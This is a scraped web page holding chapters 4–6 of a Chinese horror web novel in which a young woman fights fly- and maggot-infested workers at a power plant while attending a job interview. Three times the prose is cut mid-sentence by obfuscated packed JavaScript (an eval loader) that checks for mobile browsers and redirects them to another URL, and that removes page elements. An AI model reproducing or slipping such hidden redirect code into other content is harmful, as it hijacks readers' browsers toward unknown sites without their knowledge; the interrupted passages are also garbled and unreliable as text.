不止如此。 这个难得开放给E级公民的保安岗,不可能只有她一个面试者。 即使其他面试者已经提前到了,现在也应该在厂楼里等待。可厂楼就在不远处,怎么可能一点人声都听不见? 这感觉...... 这感觉和刚才在电车站时一模一样。 在那辆电车进站时,本该在站台里躺着的流浪汉不见了,站台的工作人员也只剩下了机器人。 车站的电力全部停止,灯和监控摄像头没有运作;信号受到干扰,广播一遍又一遍地重复,车门无论如何也无法开启。 只有自发电型机器人还能通过余电运作,但到现在为止还没有联邦警察出现,这意味着当时连机器人都处于断网状态。 而这发电厂也是同样:失踪的面试者,没了影的保安,所有活动着的人全都消失不见,烟囱没有烟雾,管道没声音——电力也全部失效。 还……进去吗? 进去的话,万一又发生跟刚才一样的事情,辛来可不能保证自己这次依旧能这么侥幸地逃生。 可不进去的话...... 这是好不容易争取到的面试机会,如果因为这种不靠谱的直觉和分析打了退堂鼓,她可能再也找不到比这更好的工作了——尤其是在E级公民的身份下,机会本就少得可怜。 辛来一咬牙,推开了铁网门。 空气湿黏,像一层看不见的蛛丝,紧贴皮肤,轻微地颤动着,仿佛被什么东西注视着。 脚步声在空旷且寂静的环境里显得格外明显,“咯吱咯吱”的,直挠人心肺。 辛来径直走向左手边的厂楼,那是面试的地点。 楼门半开着,门轴发出刺耳的“吱呀”声,辛来硬着头皮走了进去。 厂楼并不是单纯的办公楼,粗细不等的钢管横纵交错,一路连接到尾端的发动机室。 面试的办公室在三楼,得坐最里面的10号电梯才能到。 周围的温度仿佛又降了几度,辛来感觉自己的呼吸不自绝地变得沉重。 空气越来越粘稠,隐约散发着一股奇怪的腥味,她一边走一边用围巾遮住口鼻,试图隔开那令人作呕的味道。 终端机还剩不足10%的电量,时间显示为3点21…… 还是3点21?! 还没等辛来想明白为什么,耳边忽然传来了叮叮当当的动静。 刚才分明还寂静无声,没有半点活人的气息,现在这发电厂却好像是忽地运作了起来。 管道嗡鸣,蒸汽蔓延,空气中的水汽似乎都开始震颤。 有一个模糊的身影从机器后钻了出来。 那是一个穿着工人制服的人影,他低着头,拖拉着脚步,慢吞吞地走向了一台电机。 电机的马达刚刚启动,正轰隆作响。涡轮开始高速旋转,瞬间扇出的热风将工人的帽子给吹了飞。 背脊发凉,汗毛倒竖。警告感像针扎一样攀上后脑,扎得她头皮发麻。 她觉得自己不应该再往前走了,可身体却几乎不受控制地往前冲去。 那是一种几近本能的行动。 她的心跳如雷,血液在血管中沸腾,呼吸变得急促而浅薄,每一根神经都在尖叫着“危险”。 辛来的大脑还未来得及思考,身体已经先一步做出了反应——她快速抄起路旁不知谁是丢在那里的一把扳手,指节因用力而发白。 下一秒,她的身体冲向了那个人影。 扳手破开空气,带着尖啸声落下。 金属砸碎头骨的瞬间,蛆虫疯狂地扭动,溅出的血浆泛着腥甜。 “砰”的一声闷响,在那人转头的瞬间,扳手砸穿了头骨,鲜血和脑浆四溅。 ——这个人的眼睛上,生着两只巨大的、拧动着的蛆虫。 4. 火力发电厂 手腕粗的蛆虫蠕动着身体,在工人颅骨裂开的同时从眼眶中蹿了出来。 工人发出一声诡异的尖叫,身体抽搐着,动作逐渐变缓,最终软倒在地,化作一滩腐烂的肉块,散发出浓烈的气臭味。 辛来不敢停顿,她几乎没时间思考。 本能先动,意识随后,辛来抬脚猛踩,蛆虫在落地的瞬间被踩成泥。 白浆爆开,另一只蛆拧动着身体往边上逃窜。 辛来不敢犹豫,扬起手中的扳手掷了出去。 扳手重重地砸在蛆虫身上,发出一声闷响,虫子的身体瞬间被压爆,白色的液体和不知是内脏还是什么的浆液四溅,像是腐烂的脓血。 辛来:“......哈。” 平时往垃圾桶里丢塑料瓶的技术如果知道自己被运用到这种生死关头,也是会感到欣慰的吧。 空气中弥漫着一股刺鼻的气味,腐烂、化学、血腥混杂在一起,像扭曲的无形手指,轻轻刮着喉咙和鼻腔。 辛来的手指微微颤抖,呼吸急促。 她强迫自己冷静下来。 刚才电车站里的藤蔓也好,现在发电厂生蛆的工人也罢,辛来不记得社交媒体上曾经有任何有关于这种怪物的报导,也从不记得自己身边出现过或者有人提起过这样的存在。 这些伪态生物就仿佛一夜之间突然出现的似的。 跟“系统”和“玩家”有关? 是游戏设计出来的东西? 还是说这些东西本就一直存在着?只是消息被联邦政府封锁? 又或者是因为她获得了“玩家”的系统所以才被迫卷入了这种事情当中? 辛来的脑子像被人狠狠搅拌过,思绪像湿泥巴一样黏连成团,根本不知道该先抓哪一个出来想。 现在的状况?世界的情况?还是不知道到底能不能成的面试?又或者是那位无所不知的人工智能克雷特到底有没有把她的信息同步给联邦警察? 拥有强大逻辑计算能力的克雷特无处不在。 只要核心服务器还在运转,克雷特就是这座钢铁都市的全知意志。每一处通电的终端都是它的神经元,每一条数据流都是它的神经递质。 之前课上也学过,说克雷特的能力半径与服务器阵列的功耗成正比。 当主控中心的计算单元满负荷运行时,它的意识能同时解析三万六千个监控画面——但那是三年前的数据了。 现在大概只会更多。 发电厂里到处都是监控摄像头,但摄像头和刚才电车站里的一样,没有闪烁红灯。 终端机没有一点动静,前后左右也没有半点人声,锥子似的危险警示却还在脑子里徘徊不去。 辛来的手心渗出了冷汗,扳手敲进工人脑袋里的触感还依旧存在。 不管她是不是NPC,这个世界是不是游戏,这触感可真的...... 真他爹写实。 工人化作了肉泥,没有身体支撑的衣服软塌塌地落在了地上。辛来犹豫了一秒,毫不客气地摸向了工人的口袋。 上衣口袋里有一颗有点化了的糖,一支快没油了的圆珠笔,一本用得很旧了的笔记本。 她又继续往工人服的裤子口袋摸去。 裤子口袋里放这张工卡,另一边......啊、找到了。 硬邦邦的针管里还有一半蓝色的液体,液体冒着微小的气泡,辛来松了口气。 ——是愈合剂。 联邦政府从五年前开始向全体公民定期发放免费的愈合剂,这东西能激发细胞能量,快速修复多数损伤,大多数人都会随身携带。 辛来将针管扎入血管,蓝色的液体顺着血液快速流至全身。 像是无数只蚂蚁在皮肤下爬行,轻微的刺痛感从注射处蔓延开来,但很快就被一种温热的舒适感取代。 伤口以肉眼可见的速度愈合,皮肤下的血肉像是沸腾了起来,细小的组织快速蔓延,迅速填补了裂口。 几秒钟后,连疤痕都没留下。 空气中弥漫着一股刺鼻的化学气味,混合着腐烂的肉味。 辛来的手指无意识地蜷紧,她想了想,还是皱着眉从那一坨恶心的白脓里捡起了扳手。 就在这时,脑中的警铃突然一震,身后传来了一声吼叫:“你在那干什么?” 辛来一个哆嗦,心跳陡然提速。扳手没来得及擦干,就被她反手攥紧,金属柄上黏腻的触感让人作呕,汗水和白色浆液混在一起,像蛆虫在皮肤下蠕动。 她没有立刻转身,手指微微一动,扳手调整了个角度,身体重心下移,腿部肌肉绷紧,随时准备朝声音来源抡过去。 警铃仍在疯狂作响,提醒着危险近在咫尺。可是—— 那个声音听上去……带着疑惑,而非敌意。 辛来屏住呼吸,缓缓砖头 出声的也是个穿着工人制服的人。 这人戴着帽子,整张脸埋在帽檐的阴影里。他身材极胖,脚步声却轻得很,几乎听不见声音。 那人又问:“王智,你今天怎么这么慢?” 辛来一愣,余光瞥了眼脚下工人服上的名牌—— 总工,王智。 ——他把我认成这个死掉的工人了? 怎么回事? 还没等辛来想清楚,那个人陡然凑近,抓起辛来的肩膀就往前拖。 辛来没能避开,一瞬间她甚至能清楚地听到这个人的呼吸声—— 那不是人类的喘息。 而是一种高频的、黏腻的“嗡嗡”声,像是无数只苍蝇在耳边振翅,混合着湿漉漉的气流。 辛来忍不住瞥了一眼。 “......” 她有时候挺讨厌自己的好奇心的。 那人的脸——如果还能称之为脸的话——布满了细密的黑色绒毛,密密麻麻地覆盖在皮肤表面。 他的眼睛巨大而凸出,仔细看,里面有无数个六边形小眼,每个小眼里都反射着微弱的光。 而他的嘴巴边缘布满了细小的触须,随着呼吸轻轻颤动,那令人作呕的“嗡嗡”声就是从这传出的。 甚至这个人的手都不是人类的手的模样,而是一根尖长的黑色节肢,表面附着着绒毛,指尖分叉成几根细长的触须,像是昆虫的附肢。 ……行。 不是这个世界疯了就是她疯了。 辛来一瞬间有点心疼自己可能真的会泡汤的保安岗——虽然即使面试了也不一定能成。 “快点吧,已经3点21了,面试的人都到了。”他说,“再不去,就迟到了。” 面试......? 苍蝇头的工牌上写着“运行值长-周三金”,辛来忽然想起,之前接到面试邀请时,那封邮件的落款也是姓周。 一股说不上来的寒意窜上背脊,辛来深吸了口气,故作镇定:“还在三楼?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943242|177456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周三金侧过头,巨大的复眼死死地盯着辛来,隔了几秒,他又看向前方:“对啊,不在三楼在几楼?” 辛来咽了口口水,顺着周三金推搡的力道往前走去。 发电厂的电梯还维持着过去的模样,金属升降台跟着老旧的轴承一点点网上升,发出磨人的“吱呀”响声。 辛来能明显察觉到后方周三金的注视,连绵不断的嗡嗡声紧贴着后脑勺,像是几百只苍蝇在耳边飞舞。 她觉得自己现在就像一块臭肉。 ……她也确实全身上下都挂满了臭肉。 三楼是发电厂的办公区,走廊笔直且看不到尽头,每隔几米就有一扇门,门板是厚重的金属材质,表面锈迹斑斑,跟监狱大门似的,每一扇都贴着编号。 辛来杵在电梯口,手握紧了口袋里的扳手,金属柄都已经被握得温热。 “你......”周三金的声音骤然在耳边响起,“不认得路吗?” 辛来汗毛直立,心中警铃大作。她飞速在脑中搜索相关信息,脱口而出:“不是311吗?” 311是她收到的那封面试邮件上面写的办公室编号,既然周三金、发电厂和三楼这几个关键信息都和那封邮件完全吻合,那么房间号,说不定也能赌对。 周三金口中的“面试”,是她本应该参与的保安岗招聘吗? 周三金的复眼来回审视了辛来几秒,才直起身来,声音低哑:“那还不快走?已经3点28了,别迟到。” 3点28? 辛来一愣,推门的动作顿了下。 屋里墙上的挂钟确实显示在3点28,秒针在一点点往后移动,很快便到了12,与此同时,分针跳到29。 时间在动? 为什么? 刚刚时间没有动,又是为什么? 办公室里的陈设简陋。屋顶上的灯管半明半暗,微弱的光线从缝隙中泄出,将天花板映出一道扭曲的阴影。 会议桌上摆放着几张泛黄的表格,白板上随意贴着几张打印文件,最上面的那张是《东城火力发电厂环保合规证书》。 环保合规证书的发放时间是半年前,落款盖着“港城区环保管理委员会”的印章。 可发电厂的气味和灰尘,明显与“环保”二字毫无关系。 辛来的目光在上面停了停,随即迅速移开。 办公室里已经坐了几个人。 四个穿便服的,一个穿工人服的。 几人全都低垂着脑袋,看不见面容,除了角落里的那个抻着脖子左顾右盼的眼镜仔...... 那眼镜仔脸上带着明显的兴奋和好奇,他一见到辛来,便猛地瞪大了眼睛,嘴唇微张,像是看见了什么难以置信的事。 他直挺挺地从椅子上站起来,张口便道:“我靠!NPC!你怎么在这儿?” 辛来:......你大爷的杜琛。 屋中的所有人瞬间抬起了头。 ——除了杜琛之外,没有一个人的脸是完好的。 一人的半张脸已经腐烂,露出了下面的白骨,白骨上爬满了蠕动的蛆虫; 另一个人的眼睛脱落到了下巴,只有一根细细的血管相连,眼珠随着他抬头的动作来回摆动; 而那个穿工人服的则和周三金长得一模一样,绿色的复眼直勾勾地盯着辛来,嘴巴里发出“嗡嗡”的声音。 辛来头皮一麻,几乎同时间跳了起来。 5. 苍蝇人 空气忽然变得湿黏,办公室的温度飞速下降。 “咔嚓。” 周三金背后的衣服骤然裂开,一对半透明的苍蝇翅膀支棱而出表面附着着深褐色的条纹和湿润的黏液。 他那肥胖的身体根本不是人类的肥胖,而是被衣服里头缩着的数根节肢给撑得臌胀。 ——危险! 辛来脑子里的弦刹时间绷紧,扳手下意识抬起。 另一边,眼睛脱落的面试者忽然“嘎吱”一声从椅子上立起,朝她扑来。 辛来动作比意识更快,脚步猛蹬地面,手腕发力,扳手狠狠抡出。 “咣!” 沉闷的撞击声响起,面试者的头骨应声碎裂,半边脑袋塌陷,身体跟着撞在墙上滑了下去。 辛来愣了一下,匆匆地扫了眼自己的手——她可从来没觉得自己力气这么大过。 可现在根本没时间思考这些,她转过身,一把揪住杜琛:“愣着干什么!跑啊!” 杜琛:??? 杜琛被血溅了一身,满脸茫然,他显然没反应过来到底发生了什么,但辛来的语气太强硬了,他虽然一头雾水,脚已经跟着迈动了起来。 “什么什么?发生什么了?怎么了?” 辛来气不打一处来:“我怎么知道!” 要不是为了这个破面试,她也不至于顶着这群恶心的怪物在发电厂里逃命。 要是这家伙不开口,她说不定还能混过去——当然,这只是假设。 至于这个假设到底是对是错,辛来没办法也不可能确认了。 反正现在的结果就是杜琛一脸茫然跟着她跑,像个智障一样“吱哇”乱叫。 辛来回身,抡起扳手,毫不犹豫地朝紧贴着后脑勺的那张腐烂脸砸去。 "砰!" 扳手击中的瞬间,颅骨凹陷,烂脸被拧飞了半边,蛆虫和灰浆混合着血块四散溅出,重重甩在墙上,留下深色的黏腻痕迹。 可怪物没死。 被砸飞半边脸的面试者踉跄着退了一步,颤抖的身体发出难以辨别的咔咔声。他抬起头,那只挂在下巴的眼珠垂着,黑色瞳孔对准辛来。 ——它在锁定她。 辛来咬牙,放弃周旋,一把拽住杜琛的手臂,拖着他继续往前冲去。 “你来这干什么!” “任务让我来我就来了啊!”杜琛上气不接下气,“说是个副本......打了个车来的!好贵!我游戏币都快没了!” 辛来:“……” 游戏币,副本,任务。 所以每个玩家都有系统?系统会颁布任务? 不对啊,系统提示不是说“不主动提供任何引导”吗? ……疯了,真的疯了。 她竟然还思考起这种莫名其妙的事情来了。 来不及再骂,身后翅膀扑棱声陡然逼近。 辛来猛一回头,寒意沿着脊椎直蹿头皮。 ——周三金。 他背后探出的半透明翅膀飞速振动,原本包裹在裤腿里的双腿也在脱落,露出节肢状的附肢。绿褐色的复眼在灯光下闪着光,直直盯着两人。 “跑不掉。”周三金嘴里的触须蠕动,语调模糊,“都要留下——都要喂母核。” 杜琛:“他、他在说啥?” 辛来没空理他。 火力发电厂内部的灯光微弱,灯管表面蒙着灰尘,泛黄的光芒下,钢管与支架密集交错。 空气中弥漫着金属烧灼后的酸腐味,每走一步,都能听见鞋底粘着地面的黏腻声。 气味越来越浓,危险近在咫尺。 走廊尽头是下楼的楼梯。 “右边!”辛来吼。 两人齐齐拐向右侧,楼梯间阴暗狭窄,铁扶手冰凉且黏滑。 可才刚冲下三阶,周三金的声音从背后响起:“母核,饥饿。” 同一瞬间,楼梯前方,一道影子猛然出现。 是那个眼珠掉落的面试者。 他的脸上爬满蛆虫,眼球破裂,脖子扭成诡异角度,嘴巴却张得很大,像干枯的青蛙,发出干涩的“咯咯”声。 “往回退!” 辛来拽着杜琛转身。 周三金直直从三楼飞了下来,紧追而至。 狭窄楼梯间,翅膀刮过墙壁,带着灰屑和臭味扑来。杜琛一个踉跄,脖颈被周三金的口器触碰到,皮肤瞬间冒起红色的斑点,血管扩张,血液流速加快。 “啊——!” 杜琛尖叫着摔倒在地。 辛来“啧”了一声,心里烦躁得要命。 放弃杜琛,她可以跑,可她不确定自己能不能真的逃出这个诡异的发电厂。 更重要的是,她还有疑问需要杜琛解答。 周三金扑棱着翅膀再度袭来,辛来一把推开杜琛:“让开点!” 她握紧扳手,往后一甩就朝周三金砸去。 金属撞上头骨,发出钝响。周三金的动作被迫停顿了一瞬,脑袋歪了歪。 但仅仅是停顿而已。 他的复眼微微收缩,嘴边的触须张开,露出下方密密麻麻的利齿。 辛来心中一沉。 扳手脱手,身边没有能用的武器,走道前后全都有伪态生物,这种情况之下......除非从二楼往下跳,否则没有任何脱身的办法。 可厂房二楼距离地面有起码十五米,跳下去不是断腿也得轻微脑震荡,说不定压根爬不起来,这种方法根本不可能成功。 就在这时—— “叮——!” 一阵刺耳的铃声自厂房深处响起,尖锐、急促,震得耳膜发疼。 周三金顿了住。 “什么、什么声音?”杜琛捂着脖子大喘气。 辛来冲他比了个“嘘”的手势,紧紧盯着周三金,用余光观察着四周的情况。 楼梯上,追来的所有“人”也都纷纷停住了脚步。 “叮——叮——” 拖长的铃声响了三次,随后停止。回音在厂房里无限循环,混杂在噗噗的蒸汽声中,一点点变轻,随后消失不见。 周三金和面试者忽地扭头往回去了。 脚步声远去,四周重新归于寂静。 辛来绷紧的神经仍未松懈,手指微微发麻。她屏住呼吸数秒,直到确认确实没有人了,才缓缓呼出口气。 周三金刚才说的那句“已经3点28了,别迟到”反复浮现在脑海里,辛来从口袋里掏出快没电了的终端机,摁亮了屏幕。 屏幕裂痕下的数字定格在...... 辛来一愣:“3点21?” 终端机的时间并没有变化! 那么这就说明,产生变化的只是这个空间的时间——而刚才的,一定是工厂在当下时间中的半点铃。 通常工厂里为了提醒工人时间,每半小时会响一次。 3点半是面试时间,而时间一到,几人立刻撤退,是不是说明......他们会按照既定的日程安排严格执行? 为什么? 刚才他们口中的母核又是什么? 辛来的视线扫过周围散落的铁锈和油污,脑中盘旋着无数诡异的疑问。她一时间觉得自己脑子都快要炸了,从刚才起就没有松懈下来的神经几近崩断。 杜琛脖子上的红色斑点渐渐肿起变成血泡,辛来一惊:“先处理你的伤口。” 杜琛低头一看,险些厥过去:“怎怎怎么处理!?” “愈合剂。” “啥东西?” 辛来有一瞬间觉得自己是不是可以撂下他不管。 “......蓝色针管,口袋里找找有没有。” 杜琛仿佛现在才反应过来,慌张地摸向口袋,果然在裤子兜里发现了一只。 他抓着那只愈合剂看了许久,隔了几秒,茫然地抬起了头,眨巴了下眼睛,神情无辜地像个坐在一屋子废墟里的哈士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943243|177456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇。 辛来:“......” 大爷的。 她就是太善良。 辛来一把抽过了他的愈合剂,摁出了针头,手起针落,干脆利落地扎进了杜琛的脖颈子上。 杜琛一个哆嗦:“哎哟!轻点啊!疼疼疼——诶?不疼了?” 蓝色液体沿着血管扩散,伤口以肉眼可见的速度愈合,皮肤复原如初,但那块被口器撩到的红斑仍旧在那。 辛来眉头一皱。 “怎么了?”杜琛摸了摸脖子。 “不知道,还留了点印子。”辛来松开手,把空掉的愈合剂丢去了角落,撇开了话题,“你之前在办公室的时候,有听到他们说要招什么岗位吗?” 杜琛:“啥?” “岗位......我是说,他们有告诉你你面试的岗位是什么吗?” “哦,总工啊。”杜琛茫然道。 ——检修维护员。 辛来心中一沉。 不是保安——果然不是。 办公室那几个面试者穿的是冬装,白板上的值班日期停在半年前,环保合规证书的签发时间也是六个月前。 这里的时间线不对。 值班表上的内容不多,面试时间只有半小时,下一个日程安排是线路检修,但检修时间在晚上7点。 这也就意味着,如果半小时内找不到出路,那么他们可能会被刚才那些东西追杀三小时。 除了杜琛之外的面试者一共三人,包括王智在内的面试官一共三人。 王智眼睛上的蛆已经有手腕粗,周三金和另一个面试官已经变成了苍蝇的模样。 ——如果这是一种病毒,那么面试官的感染程度显然比面试者更严重。 换句话说,这里的工作人员接触“病毒”的时间比面试者更长,所以他们的变异程度才会更高。 而发电厂里,绝不可能只有这么几个员工。 如果这真的是游戏——虽然辛来真的很不想承认自己生活了十八年的世界只是一串代码——但如果这真的是游戏,那么发电厂一定就是“副本”一类的存在。 既然是副本,那么他们现在只有两个选择。 要么把Boss杀死,要么强制退出。 辛来的目光缓缓划向杜琛。 杜琛的眼镜腿歪了,眼镜半掉不掉地挂在鼻梁上。而他脸上的神情不像是害怕,倒更像是兴奋。 ……算了。 他要是有强制退出键,估计也不会用。 况且就算退,退的也就是他自己而已。 辛来深吸了一口气,手指忽地碰到了口袋里的硬物。 她一愣,才想起来刚才从王智身上找愈合剂的时候,顺手把他的笔记本也给拿走了。 笔记本的第一页是规整的日常工作记录: 12月3日,A组,检修线路。 12月4日,A组,检修线路。 …… 12月23日,30日女儿生日,记得向厂长请假。 记录持续了近三周,内容乏善可陈,可再往下,笔迹忽地就变得凌乱: 12月24日,C组,检修反映室,向厂长请假。 12月25日,C组,检修反映室,准备合规检查。 12月26日,工卡刷不开......为什么? … 1月1日,D组,检查反映室,工卡刷不开,为什么? 1月2日,D组,检查反映室,工卡刷不开,为什么? 1月3日,厂长还要招总工,为什么? 1月4日,D…组......检查...反...室......进不去。 1月5日,进不去...... 1月6日,母......核...饿... 再往后,字迹扭曲,纸张被粗暴地涂黑刮破,隐约能看出那个也被周三金提起的词—— “母核”。 6. 核心反映室 1...7日,生...假,进不去......饿。 ……14,饿。 … 饿,饿,饿...... 后面的日期下,整页纸被一个个歪斜的“饿”字填满,从顶部一直延续到页面底部,每个“饿”字的笔画逐渐变形、扭曲,最后融成深黑色的墨痕。 “饿……?” 辛来嘴唇微抿,胃部微微抽搐。 王智的笔记本里明确提到了“母核”—— 那是什么? 是这些东西的源头,还是感染的产物? 辛来猛然记起刚才在办公室里看到的那张《东城火力发电厂环保合规证书》。 合规证书最下面用红色的小字标出了一句:〖核心反映室维修中,第二梯队将于二月三日重新检查〗 ——母核、反映室、环保合规书。 这些词汇连成了一条看不见的线。 “我要去一趟‘核心反映室’。”辛来说。 “啊?”杜琛愣了愣,捂着脖子凑过来,“那是什么地方?你知道怎么出去了?” “不知道。” 杜琛:“???” 杜琛的神情很快就从疑惑转为了振奋,发出了超大一声“靠”,惊叹道:“你不会是系统派来引导任务的NPC吧!” 辛来:“......” 辛来想给他扔回刚才的办公室。 本来什么“游戏”什么“系统”还有这些乱七八糟的“伪态生物”就足够令人烦了,那不知道到底黄没黄的面试也令人绝望,现在这个傻——算了,做人要文明—— 这个傻子杜琛还一刻不停地提醒她这些事情,辛来除了想骂人,没有其他的打算。 她直起身,正要继续说话,忽地神经一紧,脚下一震。 地板裂开了一道缝隙,漆黑的裂口从墙角一路蜿蜒至脚下。 缝隙间,有湿漉漉的触须缓缓探出,蠕动、抖动,犹如窥探猎物的舌头。 “跑!” 辛来来不及细看,就地一滚,逃开了一只袭来的触须,一把拽住杜琛就往门外冲去。 裂缝在他们身后迅速扩张。 一道巨大的黑影从地板下探了出来,形状像极了一只放大数十倍的蛆虫头部。 它张开满是倒刺的口器,重重咬在他们身后刚刚站立过的地面上。 水泥地瞬间被撕裂,连钢筋都被咬断。 “我服了!这游戏是不是有毒啊!”杜琛扯着嗓子喊。 “你少说两句吧!” 两人踉跄着冲进走廊,蛆头猛然从裂缝中探出,贴地爬行,身后拖出湿滑的透明黏液。 可光逃命不是办法。 这样的怪物只会越来越多,发电厂这么大,如果乱跑只会像无头苍蝇一样被堵在死胡同里。 “你不是说这是游戏吗?”辛来喘着气,边跑边吼,“你系统不给你道具吗?金手指呢?屠龙刀呢?!新手总得送点礼物吧?” 杜琛尖叫的途中还不忘震惊:“你还知道屠龙刀?!” 辛来:“......少废话!到底有没有啊!” 杜琛委屈:“没有啊!系统只负责发任务!什么商店什么武器都没有啊!系统界面也就只有一点个人信息,屁都不给啊!” 辛来一瞬间也觉得自己的期待很荒谬,并且更加确信杜琛是个神经病,或者干脆自己才是那个被政府选中的脑实验志愿者,自己忘了而已。 身后的蛆虫追得更近了,湿漉漉的“啪嗒”声越来越响。蛆虫的呼吸声像嗓子里卡着口浓痰,辛来几乎能感觉到那软趴趴的皮肉互相交叠碰撞发出的黏腻声音。 楼梯间到了。 两人冲下楼梯,可刚踏上金属楼梯,声音就惊动了下方埋伏着的两只半蛆半蝇的怪物。 它们同时抬头,复眼闪烁着诡异的光芒,嘴角触须颤动,发出黏腻的嗡鸣声。 辛来“啧”了声。 前后夹击,眼下除了跳出楼梯间之外别无他法。以他们的步速和体型,绝对跑不过这么三只两人高——或者有接近三人高度的怪物。 管道的噗噗声一声接着一声,辛来一愣,猛推了一把杜琛:“你往那边!” 她将杜琛推向左侧走廊,离开了怪物的视线,自己则翻过右侧的护栏,蹿上了锅炉钢架楼梯。 “你去干什么?!”杜琛惊恐道。 辛来没空理他。 她攀上钢架,三步并作两步,脑子飞速运转。锅炉的压力表在红色警戒线上剧烈抖动,蒸汽管道连接着下方的主机箱—— 好。 怪物盯住了钢架上的辛来,前肢触须卷曲,猛然朝她扑去。 “来啊。” 辛来一脚蹬在钢架上,整个人往下跃去。 落地的瞬间,钢架被怪物扑断,怪物失衡,惯性驱使下扑到了锅炉前方,尖利的口器直直咬穿了蒸汽管道。 “嘭——!” 滚烫的蒸汽瞬间喷涌而出,浓雾翻滚,将怪物整个吞没。 腐肉被高温炙烤发出刺耳的“嘶嘶”声,白色的浆液顺着金属管道淌下,空气中弥漫着难以形容的烤肉味。 警报响了。 红灯闪烁,警笛尖锐刺耳,整个厂区被拉入了警戒状态。 “走!”辛来跌跌撞撞地奔向楼梯口,右脚落地时一阵剧痛,但她顾不上,冲到楼梯口时,杜琛已经呆若木鸡地站在原地。 “往下!”辛来吼道。 “你认得路?” 辛来抬起手,指着墙壁上的白底蓝字指示牌—— 〖B3:配电室,核心反映室,员工宿舍220-275〗。 杜琛:“……哦。” 两人飞快冲下楼去。 也不知是蒸汽外泄的原因还是怎么的,空气变得愈发黏腻,湿热得像有人在耳边哈气。腐肉和化学品的气味黏在鼻腔里,甩都甩不掉。 铁门后面,走廊的尽头,传来“砰、砰、砰”的闷响声。 灯光昏暗,外头的警报声此起彼伏,在这幽暗的走道中回想。 辛来下意识停住脚步,伸手拦住了杜琛。 “怎、怎么了?”杜琛压低嗓音,紧张得不行。 辛来没有回答,视线落在走廊右侧的消防器材柜。玻璃蒙着灰尘,但隐约能看见里面的消防罐。 她抬起手肘,用力砸碎了玻璃。 “咔啦!” 玻璃碴子掉了一地,声音在寂静的走廊中格外清晰。 辛来抓起消防罐,深吸一口气,砸掉了铁门的锁,小心地把门推了开,尽量不发出声音。 ——前方的金属门前,一个佝偻的黑影正一下一下地撞击着门板。 门被撞出了深深的凹痕。 那人穿着破损的工人服,背上鼓起一团,像是衣服里藏着什么东西。 他每撞一下,脖子上的皮肉便裂开几分,白色的蛆虫从裂口处探出触须,在空气中试探地蠕动。 工人的手中握着一张卡,不停地在门禁刷卡器上滑动,每次刷卡失败,红灯都会闪烁,扬起机械的“滴滴”声。 仔细听,他嘴里在喃喃自语。 杜琛:“怎么刷不开呢…怎么刷不开呢......” 辛来一愣,回头看去。 杜琛哂笑了下,挠了挠头:“嘿嘿,我之前也遇到过这种情况......上班迟到了会儿,结果门禁卡就刷不进去了。” 虽然很想问“我怎么不知道你还工作过”,但辛来又觉得这么问非常没有礼貌,话都涌到嘴边了,又咽了回去。 刷卡的工人忽然僵了住,像闻到了什么味道似的,脑袋一点点扭转过来。 那不是人的脑袋。 半张脸已经塌陷,眼窝里塞满了蠕动的蛆虫,嘴巴裂开,露出黑色的触须和干枯的喉咙。 半透明的翅膀从背后的皮肤里撑开,微微振动,发出低沉的嗡嗡声。 再下一秒,那人猛得一振翅,向两人冲来。 “怎么刷不开呢——” “怎么刷不开呢——” “怎么刷不开呢!我只是迟到了3分钟啊——” 辛来一脚把愣着的杜琛踹开,抡起消防罐朝着怪物脑袋砸下去。 “嘭!” 白色浆液溅出,蛆虫崩裂,空气中弥漫着腐臭和焦糊的气味。 辛来不敢停手,连连又敲了数十下,直到那人不再动弹,消防罐瘪了一个口,才缓缓收手。 杜琛再也忍不住,“哇”的一声吐了出来,跪在墙角干呕。 辛来猛喘了几口气,抹了把脸上溅上的汁液,努力平复了呼吸,蹲下身来,从怪物身上扯下了工牌。 工牌上写着几个字: 〖保安-刘长安〗。 ……怪不得门口保安室没有人。 辛来小心地绕过了那个怪物,抬头再看——前方的金属门上,标着几个红色大字: 〖核心反映室〗。 核心反映室的门上有电子锁,门很厚实。 杜琛喘着粗气,手抖得像筛糠:“要不……算了吧?我总觉得这门后面不是什么好东西。” 辛来没理他,手在口袋里一摸,摸出了另一张卡。 ——王智的工卡。 王智的笔记本上记录了“核心反映室”的内容,他一定是有权限出入这里的。只要这里的系统别更新得那么快,这张卡一定还能用。 卡片边缘干巴巴的,像是被潮气泡过,背面还沾着点干涸的血痂。 辛来深吸一口气,将卡片缓缓贴上感应区。 “滴滴。” 门锁红灯亮起,没开。 辛来一愣,忽地响起他笔记本上提到的“进不去”...原来进不去的是核心反映室? 请了一天假就被降职了? “这根本不是人啊!”李琛突然骂了一句。 辛来被他那大嗓门吓了一跳,但难得的没有斜眼乜他。 她抓着员工卡,犹豫了下,抱着试一试的心态举起了手里的消防罐。 这间发电厂整个的设施都非常老旧,看起来像五六十年前甚至是一百多年前的产物。那时候的电子锁,肯定不会有现在的这么智能。 “怦——” 辛来毫不犹豫地砸了下去。 果不其然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 